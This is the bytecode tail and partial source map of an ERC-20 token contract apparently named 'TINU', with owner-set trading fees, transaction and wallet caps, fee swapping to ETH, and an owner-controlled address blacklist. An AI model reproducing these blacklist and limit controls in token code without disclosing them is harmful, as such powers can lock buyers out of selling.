000000000000000000000008152600401610cbf90613260565b60405180910390fd5b6001841115610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d03906132f2565b60405180910390fd5b6001831115610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790613384565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b6000610dbc600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612013565b9050919050565b610dcb61160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90613095565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f1e61160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490613095565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fee61160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290613095565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600481526020017f54494e5500000000000000000000000000000000000000000000000000000000815250905090565b6110e361160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790613095565b60405180910390fd5b8060198190555050565b600061118e61118761160c565b84846117df565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f961160c565b73ffffffffffffffffffffffffffffffffffffffff161461121957600080fd5b600061122430610d72565b905061122f81612081565b50565b61123a61160c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c090613095565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090613416565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61148561160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990613095565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61157561160c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990613095565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167b906134a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb9061353a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d29190612e20565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561184f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611846906135cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b69061365e565b60405180910390fd5b60008111611902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f9906136f0565b60405180910390fd5b61190a610fbd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119785750611948610fbd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c4257601660149054906101000a900460ff166119d7576017548111156119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cd9061375c565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a7b5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab1906137ee565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b675760185481611b1c84610d72565b611b26919061380e565b10611b66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5d906138d6565b60405180910390fd5b5b6000611b7230610d72565b9050600060195482101590506017548210611b8d5760175491505b808015611ba75750601660159054906101000a900460ff16155b8015611c015750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c17575060168054906101000a900460ff165b15611c3f57611c2582612081565b60004790506000811115611c3d57611c3c47611fa7565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ce95750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d9c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d9b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611daa5760009050611f31565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e555750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e6d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3057600b54600d81905550600c54600e819055505b5b611f3d84848484612309565b50505050565b6000838311158290611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f829190612cc9565b60405180910390fd5b5060008385611f9a91906138f6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561200f573d6000803e3d6000fd5b5050565b600060075482111561205a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120519061399c565b60405180910390fd5b6000612064612336565b9050612079818461236190919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120b9576120b8612a57565b5b6040519080825280602002602001820160405280156120e75781602001602082028036833780820191505090505b50905030816000815181106120ff576120fe6130b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121a157600080fd5b505afa1580156121b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d991906139d1565b816001815181106121ed576121ec6130b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611614565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b8959493929190613af7565b600060405180830381600087803b1580156122d257600080fd5b505af11580156122e6573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612317576123166123ab565b5b6123228484846123ee565b806123305761232f6125b9565b5b50505050565b60008060006123436125cd565b9150915061235a818361236190919063ffffffff16565b9250505090565b60006123a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612629565b905092915050565b6000600d541480156123bf57506000600e54145b156123c9576123ec565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806124008761268c565b95509550955095509550955061245e86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f385600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273e90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061253f8161279c565b6125498483612859565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125a69190612e20565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008060006007549050600066038d7ea4c6800090506125ff66038d7ea4c6800060075461236190919063ffffffff16565b82101561261c5760075466038d7ea4c68000935093505050612625565b81819350935050505b9091565b60008083118290612670576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126679190612cc9565b60405180910390fd5b506000838561267f9190613b80565b9050809150509392505050565b60008060008060008060008060006126a98a600d54600e54612893565b92509250925060006126b9612336565b905060008060006126cc8e878787612929565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061273683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f43565b905092915050565b600080828461274d919061380e565b905083811015612792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278990613bfd565b60405180910390fd5b8091505092915050565b60006127a6612336565b905060006127bd82846129b290919063ffffffff16565b905061281181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273e90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61286e826007546126f490919063ffffffff16565b6007819055506128898160085461273e90919063ffffffff16565b6008819055505050565b6000806000806128bf60646128b1888a6129b290919063ffffffff16565b61236190919063ffffffff16565b905060006128e960646128db888b6129b290919063ffffffff16565b61236190919063ffffffff16565b9050600061291282612904858c6126f490919063ffffffff16565b6126f490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061294285896129b290919063ffffffff16565b9050600061295986896129b290919063ffffffff16565b9050600061297087896129b290919063ffffffff16565b905060006129998261298b85876126f490919063ffffffff16565b6126f490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156129c55760009050612a27565b600082846129d39190613c1d565b90508284826129e29190613b80565b14612a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1990613ce9565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a8f82612a46565b810181811067ffffffffffffffff82111715612aae57612aad612a57565b5b80604052505050565b6000612ac1612a2d565b9050612acd8282612a86565b919050565b600067ffffffffffffffff821115612aed57612aec612a57565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b2e82612b03565b9050919050565b612b3e81612b23565b8114612b4957600080fd5b50565b600081359050612b5b81612b35565b92915050565b6000612b74612b6f84612ad2565b612ab7565b90508083825260208201905060208402830185811115612b9757612b96612afe565b5b835b81811015612bc05780612bac8882612b4c565b845260208401935050602081019050612b99565b5050509392505050565b600082601f830112612bdf57612bde612a41565b5b8135612bef848260208601612b61565b91505092915050565b600060208284031215612c0e57612c0d612a37565b5b600082013567ffffffffffffffff811115612c2c57612c2b612a3c565b5b612c3884828501612bca565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c7b578082015181840152602081019050612c60565b83811115612c8a576000848401525b50505050565b6000612c9b82612c41565b612ca58185612c4c565b9350612cb5818560208601612c5d565b612cbe81612a46565b840191505092915050565b60006020820190508181036000830152612ce38184612c90565b905092915050565b6000819050919050565b612cfe81612ceb565b8114612d0957600080fd5b50565b600081359050612d1b81612cf5565b92915050565b60008060408385031215612d3857612d37612a37565b5b6000612d4685828601612b4c565b9250506020612d5785828601612d0c565b9150509250929050565b60008115159050919050565b612d7681612d61565b82525050565b6000602082019050612d916000830184612d6d565b92915050565b6000819050919050565b6000612dbc612db7612db284612b03565b612d97565b612b03565b9050919050565b6000612dce82612da1565b9050919050565b6000612de082612dc3565b9050919050565b612df081612dd5565b82525050565b6000602082019050612e0b6000830184612de7565b92915050565b612e1a81612ceb565b82525050565b6000602082019050612e356000830184612e11565b92915050565b600080600060608486031215612e5457612e53612a37565b5b6000612e6286828701612b4c565b9350506020612e7386828701612b4c565b9250506040612e8486828701612d0c565b9150509250925092565b600060ff82169050919050565b612ea481612e8e565b82525050565b6000602082019050612ebf6000830184612e9b565b92915050565b612ece81612b23565b82525050565b6000602082019050612ee96000830184612ec5565b92915050565b600060208284031215612f0557612f04612a37565b5b6000612f1384828501612b4c565b91505092915050565b612f2581612d61565b8114612f3057600080fd5b50565b600081359050612f4281612f1c565b92915050565b600060208284031215612f5e57612f5d612a37565b5b6000612f6c84828501612f33565b91505092915050565b60008060008060808587031215612f8f57612f8e612a37565b5b6000612f9d87828801612d0c565b9450506020612fae87828801612d0c565b9350506040612fbf87828801612d0c565b9250506060612fd087828801612d0c565b91505092959194509250565b600060208284031215612ff257612ff1612a37565b5b600061300084828501612d0c565b91505092915050565b600080604083850312156130205761301f612a37565b5b600061302e85828601612b4c565b925050602061303f85828601612b4c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061307f602083612c4c565b915061308a82613049565b602082019050919050565b600060208201905081810360008301526130ae81613072565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061311e82612ceb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613151576131506130e4565b5b600182019050919050565b7f4d757374206b656570206275792066656573206c657373207468616e2032302560008201527f2000000000000000000000000000000000000000000000000000000000000000602082015250565b60006131b8602183612c4c565b91506131c38261315c565b604082019050919050565b600060208201905081810360008301526131e7816131ab565b9050919050565b7f4d757374206b6565702073656c6c2066656573206c657373207468616e20323060008201527f2520000000000000000000000000000000000000000000000000000000000000602082015250565b600061324a602283612c4c565b9150613255826131ee565b604082019050919050565b600060208201905081810360008301526132798161323d565b9050919050565b7f4d757374206b6565702064697374726f4665654f6e427579206174203125206f60008201527f72206c6573730000000000000000000000000000000000000000000000000000602082015250565b60006132dc602683612c4c565b91506132e782613280565b604082019050919050565b6000602082019050818103600083015261330b816132cf565b9050919050565b7f4d757374206b6565702064697374726f4665654f6e53656c6c2061742031252060008201527f6f72206c65737300000000000000000000000000000000000000000000000000602082015250565b600061336e602783612c4c565b915061337982613312565b604082019050919050565b6000602082019050818103600083015261339d81613361565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613400602683612c4c565b915061340b826133a4565b604082019050919050565b6000602082019050818103600083015261342f816133f3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613492602483612c4c565b915061349d82613436565b604082019050919050565b600060208201905081810360008301526134c181613485565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613524602283612c4c565b915061352f826134c8565b604082019050919050565b6000602082019050818103600083015261355381613517565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135b6602583612c4c565b91506135c18261355a565b604082019050919050565b600060208201905081810360008301526135e5816135a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613648602383612c4c565b9150613653826135ec565b604082019050919050565b600060208201905081810360008301526136778161363b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136da602983612c4c565b91506136e58261367e565b604082019050919050565b60006020820190508181036000830152613709816136cd565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613746601c83612c4c565b915061375182613710565b602082019050919050565b6000602082019050818103600083015261377581613739565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006137d8602383612c4c565b91506137e38261377c565b604082019050919050565b60006020820190508181036000830152613807816137cb565b9050919050565b600061381982612ceb565b915061382483612ceb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613859576138586130e4565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006138c0602383612c4c565b91506138cb82613864565b604082019050919050565b600060208201905081810360008301526138ef816138b3565b9050919050565b600061390182612ceb565b915061390c83612ceb565b92508282101561391f5761391e6130e4565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613986602a83612c4c565b91506139918261392a565b604082019050919050565b600060208201905081810360008301526139b581613979565b9050919050565b6000815190506139cb81612b35565b92915050565b6000602082840312156139e7576139e6612a37565b5b60006139f5848285016139bc565b91505092915050565b6000819050919050565b6000613a23613a1e613a19846139fe565b612d97565b612ceb565b9050919050565b613a3381613a08565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a6e81612b23565b82525050565b6000613a808383613a65565b60208301905092915050565b6000602082019050919050565b6000613aa482613a39565b613aae8185613a44565b9350613ab983613a55565b8060005b83811015613aea578151613ad18882613a74565b9750613adc83613a8c565b925050600181019050613abd565b5085935050505092915050565b600060a082019050613b0c6000830188612e11565b613b196020830187613a2a565b8181036040830152613b2b8186613a99565b9050613b3a6060830185612ec5565b613b476080830184612e11565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b8b82612ceb565b9150613b9683612ceb565b925082613ba657613ba5613b51565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613be7601b83612c4c565b9150613bf282613bb1565b602082019050919050565b60006020820190508181036000830152613c1681613bda565b9050919050565b6000613c2882612ceb565b9150613c3383612ceb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c6c57613c6b6130e4565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cd3602183612c4c565b9150613cde82613c77565b604082019050919050565b60006020820190508181036000830152613d0281613cc6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220049d612c9ddee6af095f1458809ea60dfbd4203854ff07e49bc701de4b2665b064736f6c63430008090033

Deployed Bytecode Sourcemap

6311:13856:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15196:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9029:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9954:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7722:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9306:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10155:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8075:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9215:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7770:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15373:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19780:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14992:196;;;;;;;;;;;;;:::i;:::-;;18900:633;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9409:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2453:148;;;;;;;;;;;;;:::i;:::-;;19920:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7920:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2239:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14554:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8000:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9120:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19585:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9555:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7418:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14783:197;;;;;;;;;;;;;:::i;:::-;;3919:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9762:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14663:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20040:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15196:169;3840:12;:10;:12::i;:::-;3828:24;;:8;;;;;;;;;;;:24;;;3820:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;15272:9:::1;15267:91;15291:5;:12;15287:1;:16;15267:91;;;15342:4;15325;:14;15330:5;15336:1;15330:8;;;;;;;;:::i;:::-;;;;;;;;15325:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;15305:3;;;;;:::i;:::-;;;;15267:91;;;;15196:169:::0;:::o;9029:83::-;9066:13;9099:5;;;;;;;;;;;;;;;;;9092:12;;9029:83;:::o;9954:193::-;10056:4;10078:39;10087:12;:10;:12::i;:::-;10101:7;10110:6;10078:8;:39::i;:::-;10135:4;10128:11;;9954:193;;;;:::o;7722:41::-;;;;;;;;;;;;;:::o;9306:95::-;9359:7;6861:15;9379:14;;9306:95;:::o;10155:446::-;10287:4;10304:36;10314:6;10322:9;10333:6;10304:9;:36::i;:::-;10351:220;10374:6;10395:12;:10;:12::i;:::-;10422:138;10478:6;10422:138;;;;;;;;;;;;;;;;;:11;:19;10434:6;10422:19;;;;;;;;;;;;;;;:33;10442:12;:10;:12::i;:::-;10422:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;10351:8;:220::i;:::-;10589:4;10582:11;;10155:446;;;;;:::o;8075:48::-;;;;:::o;9215:83::-;9256:5;6535:1;9274:16;;9215:83;:::o;7770:28::-;;;;;;;;;;;;;:::o;15373:92::-;3840:12;:10;:12::i;:::-;3828:24;;:8;;;;;;;;;;;:24;;;3820:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;15452:5:::1;15437:4;:12;15442:6;15437:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;15373:92:::0;:::o;19780:101::-;2376:12;:10;:12::i;:::-;2366:22;;:6;;;;;;;;;;:22;;;2358:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19861:12:::1;19847:11;::::0;:26:::1;;;;;;;;;;;;;;;;;;19780:101:::0;:::o;14992:196::-;15058:17;;;;;;;;;;;15042:33;;:12;:10;:12::i;:::-;:33;;;15034:42;;;;;;15087:26;15116:21;15087:50;;15148:32;15161:18;15148:12;:32::i;:::-;15023:165;14992:196::o;18900:633::-;2376:12;:10;:12::i;:::-;2366:22;;:6;;;;;;;;;;:22;;;2358:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19069:2:::1;19054:11;:17;;19046:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;19144:2;19128:12;:18;;19120:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;19222:1;19204:14;:19;;19196:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;19304:1;19285:15;:20;;19277:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;19380:14;19362:15;:32;;;;19424:15;19405:16;:34;;;;19475:11;19460:12;:26;;;;19513:12;19497:13;:28;;;;18900:633:::0;;;;:::o;9409:138::-;9475:7;9502:37;9522:7;:16;9530:7;9522:16;;;;;;;;;;;;;;;;9502:19;:37::i;:::-;9495:44;;9409:138;;;:::o;2453:148::-;2376:12;:10;:12::i;:::-;2366:22;;:6;;;;;;;;;;:22;;;2358:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2560:1:::1;2523:40;;2544:6;::::0;::::1;;;;;;;;2523:40;;;;;;;;;;;;2591:1;2574:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2453:148::o:0;19920:108::-;3840:12;:10;:12::i;:::-;3828:24;;:8;;;;;;;;;;;:24;;;3820:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;20009:11:::1;19994:12;:26;;;;19920:108:::0;:::o;7920:43::-;;;;:::o;2239:79::-;2277:7;2304:6;;;;;;;;;;;2297:13;;2239:79;:::o;14554:101::-;2376:12;:10;:12::i;:::-;2366:22;;:6;;;;;;;;;;:22;;;2358:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14635:12:::1;14621:11;;:26;;;;;;;;;;;;;;;;;;14554:101:::0;:::o;8000:45::-;;;;:::o;9120:87::-;9159:13;9192:7;;;;;;;;;;;;;;;;;9185:14;;9120:87;:::o;19585:139::-;2376:12;:10;:12::i;:::-;2366:22;;:6;;;;;;;;;;:22;;;2358:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19698:18:::1;19676:19;:40;;;;19585:139:::0;:::o;9555:199::-;9660:4;9682:42;9692:12;:10;:12::i;:::-;9706:9;9717